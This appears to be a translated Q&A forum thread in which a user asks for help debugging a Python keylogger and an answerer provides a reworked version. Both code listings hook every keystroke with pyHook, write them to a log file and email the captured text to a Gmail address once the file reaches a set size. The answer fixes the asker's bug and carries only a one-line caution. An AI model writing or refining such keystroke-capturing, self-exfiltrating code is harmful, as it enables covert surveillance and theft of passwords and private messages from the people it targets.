记录和清除文件

时间:2012-07-31 09:08:21

标签: python logging keylogger

我正在研究简单的键盘记录器 -

import logging, sys, smtplib, pyHook, pythoncom, socket
path = r"C:\Users\Karel\Desktop\log.txt"
logging.basicConfig(filename=path, level=logging.DEBUG, format="%(message)s")
server = smtplib.SMTP("smtp.gmail.com:587")
server.starttls()
server.login("xxx","xxx")

def OnKeyboardEvent(event):

    print "Key: ", chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    checklog()
    return True

def checklog():
    f = open(path, "r")
    x = f.read()
    if len(x) == 1000:
        server.sendmail("xxx@gmail.com", "xxxn@gmail.com", x)
        f.close()
        f = open(path,"w")
        f.close()



hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

当文件长度为1000时,它会将日志保存到文件并发送到电子邮件。然后日志被清除,当邮件长度为1000时再次邮寄等等。但是此代码无效,文件被发送到1000,已清除,但是不再记录。哪里有问题?感谢

1 个答案:

答案 0 :(得分:0)

以下内容。但是,请仔细考虑为什么要使用键盘记录器。这是未经测试的。

from functools import partial
import logging
import logging.handlers
import smtplib
import pyHook
import pythoncom


class EmailingRotatingFileHandler(logging.handlers.RotatingFileHandler):
    def __init__(self, smtp_credentials, **kargs):
        self.smtp_credentials = smtp_credentials
        super(EmailingRotatingFileHandler, self).__init__(**kargs)

    def smtp_connect(self):
        server = smtplib.SMTP("smtp.gmail.com:587")
        server.starttls()
        server.login("", "")
        return server

    def doRollover(self):
        ## Close the stream
        if self.stream:
            self.stream.close()
            self.stream = None

        ## Email the file
        server = self.smtp_connect()

        with open(self.baseFilename, 'r') as logfile:
            contents = logfile.read()
            server.sendmail(self.smtp_credentials[0], self.smtp_credentials[1], contents)

        server.quit()

        ## Proceed with the rollover
        super(EmailingRotatingFileHandler, self).doRollover()


def OnKeyboardEvent(logger, event):
    print "Key: ", chr(event.Ascii)
    logger.info(chr(event.Ascii))
    return True


def main():
    path = r"C:\Users\Karel\Desktop\log.txt"
    smtp_credentials = ("", "")

    ## Set up the logging
    logger = logging.getLogger()
    logger.setLevel(logging.INFO)
    log_handler = EmailingRotatingFileHandler(smtp_credentials, path, maxBytes=1024)
    formatter = logging.Formatter('%(message)s')
    log_handler.setFormatter(formatter)
    logger.addHandler(log_handler)

    ## Configure the event handlers
    hm = pyHook.HookManager()
    hm.KeyDown = partial(OnKeyboardEvent, logger)
    hm.HookKeyboard()
    pythoncom.PumpMessages()


if __name__ == '__main__':
    main()